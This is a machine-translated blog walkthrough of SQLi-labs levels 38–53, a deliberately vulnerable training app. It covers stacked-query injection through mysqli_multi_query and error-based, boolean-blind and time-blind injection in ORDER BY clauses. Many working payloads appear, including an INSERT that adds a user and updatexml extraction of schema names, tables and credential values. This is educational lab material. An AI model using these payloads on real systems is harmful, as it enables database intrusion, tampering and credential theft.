当前位置:网站首页>Sqli labs customs clearance summary-page3
Sqli labs customs clearance summary-page3
2022-07-02 06:50:00 【Xu Jirong】
less-38(GET type 、 Single quotation marks 、mysqli_multi_query() Stack Injection )
mysqli_multi_query()
mysqli_store_result()
mysqli_fetch_row()
mysqli_more_results()
less-39(GET type 、 Digital 、mysqli_multi_query() Stack Injection )
less-40(GET type 、 Single quotation mark bracket 、mysqli_multi_query() Stack Injection )
less-41(GET type 、 Digital 、mysqli_multi_query() Stack Injection )
less-42(POST type 、 Single quotation marks 、mysqli_multi_query() Stack Injection )
less-43(POST type 、 Single quotation mark bracket 、mysqli_multi_query() Stack Injection )
less-44(POST type 、 Single quotation marks 、mysqli_multi_query() Stack Injection )
less-45(POST type 、 Single quotation mark bracket 、mysqli_multi_query() Stack Injection )
less-46(GET type 、 Digital 、order by Error echo )
less-47(GET type 、 Single quotation marks 、order by Error echo )
less-48(GET type 、 Digital 、order by rand() Bull's blind note )
less-49(GET type 、 Character 、order by Time blind note )
less-50(GET type 、 Digital 、order by Error echo and mysqli_multi_query() Stack Injection )
less-51(GET type 、 Single quotation marks 、order by Error echo and mysqli_multi_query() Stack Injection )
less-52(GET type 、 Digital 、order by rand() Boolean blind note and mysqli_multi_query() Stack Injection )
less-53(GET type 、 Character 、order by Time blind injection and mysqli_multi_query() Stack Injection )
less-38
title :GET - Stacked Query Injection - String
The code has been changed , It's not the way it used to be
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
mysqli_multi_query()
See PHP mysqli_multi_query() function
Definition and Usage :
mysqli_multi_query()
Function to execute one or more queries against the database . Multiple queries are separated by semicolons . comparison mysqli_query()
,mysqli_multi_query()
You can execute multiple query statements
grammar :
mysqli_multi_query(connection,query);
Parameters | describe |
---|---|
connection | It's necessary . Stipulate what to use MySQL Connect . |
query | It's necessary . Specify one or more queries , Separated by semicolons . |
mysqli_store_result()
Definition and Usage :
mysqli_store_result
Transfer the result set returned by the last query , The result set after migration can stay mysqli_data_seek()
Use in a function
grammar :
mysqli_store_result ( mysqli $link [, int $option ] )
Parameters | describe |
---|---|
link | It's necessary . from mysqli_connect() or mysqli_init() Returned link ID |
mysqli_fetch_row()
Definition and Usage :
mysqli_fetch_row()
Function takes a line from the result set , And return... As an enumerated array .
grammar :
mysqli_fetch_row(result);
Parameters | describe |
---|---|
result | It's necessary . Provided by mysqli_query()、mysqli_store_result() or mysqli_use_result() Result set identifier returned . |
mysqli_more_results()
Definition and Usage :
mysqli_more_results() Function to check whether a multi query has more results .
grammar :
mysqli_more_results(connection);
The key point of this question lies in this mysqli_multi_query()
function , This function can execute multiple SQL sentence , So that we can Stack Injection
, Enter multiple query statements ( With ;
For the space sign )
So how to measure Stack Injection ?
Add a ;
Don't complain , It should be stackable injection
payload:
1';insert into users(id,username,password) values ('20','123','123')-- -
less-39
title :GET - Stacked Query Injection - Intiger based
Follow 38 It's the same , It is digital Stack Injection
payload:
1;insert into users(id,username,password) values ('21','123','123')-- -
less-40
title :GET - BLIND based - String - Stacked
index.php
Next is based on ')
Stack injection , Or joint query
In addition to this index.php
There are other documents
Nothing was found
less-41
title :GET - BLIND based - Intiger - Stacked
Digital
Joint query or stack injection , Follow 38、39、40 Close similar
less-42
title :POST - Error based - String - Stacked
index.php
Submit form information to login.php
Look at the source code ,
First of all, there is no coding character setting for the database , Wide byte injection is not allowed , however , Here for the front-end submission login_password
, No escape , And the query function is Multiple query statements
Of mysqli_multi_query()
, It indicates that stack injection can be performed here , You can stack any statement , There will be no demonstration here
If the information is correct, it will jump to logged-in.php
You can change the password , Fill in the information and submit the form to pass_change.php
,
Look at the source code. The information here has also been escaped ,$_SESSION["username"]
It is also the information queried by the database , We can't operate
The document in the red box has something , Other documents do not
less-43
title :POST - Error based String - Stacked with twist
Follow 42 Close the same stack injection , It's just that the closure becomes ('')
less-44
Like the forty-two passes
The difference is 42 There is an error front-end echo ,44 Closed , But it doesn't affect
less-45
title :POST - Error based - String Stacked - Blind
45 Guan heel 43 It's the same , Just went to the front end to report an error
less-46
title :GET - Error based - Numeric - ORDER BY CLAUSE
The variable value of this level is changed to sort 了 , We type in ?sort=1
try ?sort=2
I guess the title is order by
Sort query based on field value of type
At this time, we can nest an error echo function to obtain information
because The error reporting function displays a limited number of characters , The longest is 32 position
, We can do it two ways
1.limit Line by line output
2.substr Intercepting string ( When intercepting, grasp 32 Within position )
This time we use substr
Intercept the string to get information
Get all databases
?sort=1 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,30)),0)
// XPATH syntax error: '~information_schema,challenges,'
?sort=1 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),30,30)),0)
//XPATH syntax error: '~mysql,omg,performance_schema,s'
....
Get all tables of a certain data
?sort=1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,30)),0)
// XPATH syntax error: '~emails,referers,uagents,users'
Get all field names of a table
?sort=1 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,30)),0)
//XPATH syntax error: '~id,username,password'
Get field value
?sort=1 and updatexml(1,concat(0x7e,substr((select group_concat(username,'~',password) from users),1,30)),0)
//XPATH syntax error: '~Dumb~Dumb,Angelina~I-kill-you,'
Look at the source code
less-47
title :GET Error based - String - ORDER BY CLAUSE
And 46 It's the same , Just the closing becomes a single quotation mark
$sql = "SELECT * FROM users ORDER BY '$id'";
But what we should pay attention to is order by
Followed by Numbers
or Field name
, Single quotation marks can only be closed with the field name , If you fill in other characters , Sort by the first column by default
We directly check the field value
Get field value
?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,'~',password) from users),1,30)),0) and '1
//XPATH syntax error: '~Dumb~Dumb,Angelina~I-kill-you,'
less-48
title :GET - Error based - Blind - Numeric - ORDER BY CLAUSE
Input ?sort=1
and ?sort=2
The echo is found to be variable , Input ?sort=1'
and ?sort=1"
No echo , The description is digital
Check the database
?sort=1 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,30)),0)
No echo found , It should be the wrong report
At this time, we can only use Boolean blind note , The point we should consider is how to find Boolean blind note 0
and 1
It's used at this time rand()
Function , Matching order by
The effect is as follows
order by rand(false)
order by rand(true)
We talked about that before rand()
It's a pseudo-random function , Sorting is fixed , coordination order by
Can produce 0
and 1
The effect of differentiation , In this way, we can cooperate
Database search
?sort=rand(ascii(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=105)
What if it's wrong
?sort=rand(ascii(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=0)
We can use this method to measure slowly , Or directly sqlmap run
less-49
title :GET - Error based - String - Blind - ORDER BY CLAUSE
The closing mode of this switch is '
, You can't use order by rand()
了 , Use time blind
The principle is
?sort=1' and if(1=1,sleep(0.05),null) and '0
complete SQL sentence
SELECT * FROM users ORDER by '1' and if(1=1,sleep(0.1),null) and '0'
It is worth noting that ,
When order by
The following values will be executed only when they are correct if
sentence
Before blind injection, you can Navicat Try it in and then write the script
And that is order by
The traversal mechanism of is Traverse all lines
, So every line ,sleep() I'll do it once
, So this sleep()
We can adjust the value of by feeling , Don't be too big , Here we use sleep(0.1)
We can write the sentence of searching the database like this
1' and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=105,sleep(0.1),null) and '1
altogether 12 That's ok , a line 0.1 second , Always implemented 1.4 A second more , almost , The principle of guessing tables and fields later is the same , No more
less-50
title :GET - Error based - ORDER BY CLAUSE - numeric - Stacked injection
In addition to using mysqli_multi_query()
, Everything else is the same
Here we just show you how to look at stacking
46 Turn off ?sort=1;select 1,2,3
Report errors
50 Turn off ?sort=1;select 1,2,3
Normal echo
less-51
title :GET - Error based - ORDER BY CLAUSE - String - Stacked
Follow 47 The difference is to add mysqli_multi_query()
Stack injection
less-52
title :GET - Blind based ORDER BY CLAUSE - numeric Stacked injection
Follow 48 The difference is to add mysqli_multi_query()
Stack injection
less-53
title :GET - Blind based - ORDER BY CLAUSE - String - stacked injection
Follow 49 The difference is to add mysqli_multi_query()
Stack injection
边栏推荐
- ZZQ的博客目录--更新于20210601
- Kotlin - 验证时间格式是否是 yyyy-MM-dd HH:mm:ss
- Linux MySQL 5.6.51 community generic installation tutorial
- Latex 报错 LaTeX Error: The font size command \normalsize is not defined问题解决
- js删除字符串的最后一个字符
- selenium+msedgedriver+edge浏览器安装驱动的坑
- Warp matrix functions in CUDA
- apt命令报证书错误 Certificate verification failed: The certificate is NOT trusted
- Latex error: the font size command \normalsize is not defined problem solved
- js删除字符串的最后一位
猜你喜欢
Unexpected inconsistency caused by abnormal power failure; Run fsck manually problem resolved
查询GPU时无进程运行,但是显存却被占用了
Summary of advertisement business bug replay
No process runs when querying GPU, but the video memory is occupied
Pytest (2) mark function
web自动中利用win32上传附件
Win10:添加或者删除开机启动项,在开机启动项中添加在用户自定义的启动文件
由于不正常断电导致的unexpected inconsistency;RUN fsck MANUALLY问题已解决
Win10桌面图标没有办法拖动(可以选中可以打开可以删除新建等操作但是不能拖动)
Sentinel rules persist to Nacos
随机推荐
20210306转载如何使TextEdit有背景图片
Kali latest update Guide
20210306 reprint how to make TextEdit have background pictures
Vscode installation, latex environment, parameter configuration, common problem solving
CTF three count
Latex error: the font size command \normalsize is not defined problem solved
The intern left a big hole when he ran away and made two online problems, which made me miserable
The win10 network icon disappears, and the network icon turns gray. Open the network and set the flash back to solve the problem
MySQL index
Promise中有resolve和无resolve的代码执行顺序
js删除字符串的最后一位
js中map和forEach的用法
由于不正常断电导致的unexpected inconsistency;RUN fsck MANUALLY问题已解决
查询GPU时无进程运行,但是显存却被占用了
Sublime text configuring PHP compilation environment
js删除字符串的最后一个字符
Sentinel Alibaba open source traffic protection component
VSCODE 安装LATEX环境,参数配置,常见问题解决
Unexpected inconsistency caused by abnormal power failure; Run fsck manually problem resolved
Kotlin - verify whether the time format is yyyy MM DD hh:mm:ss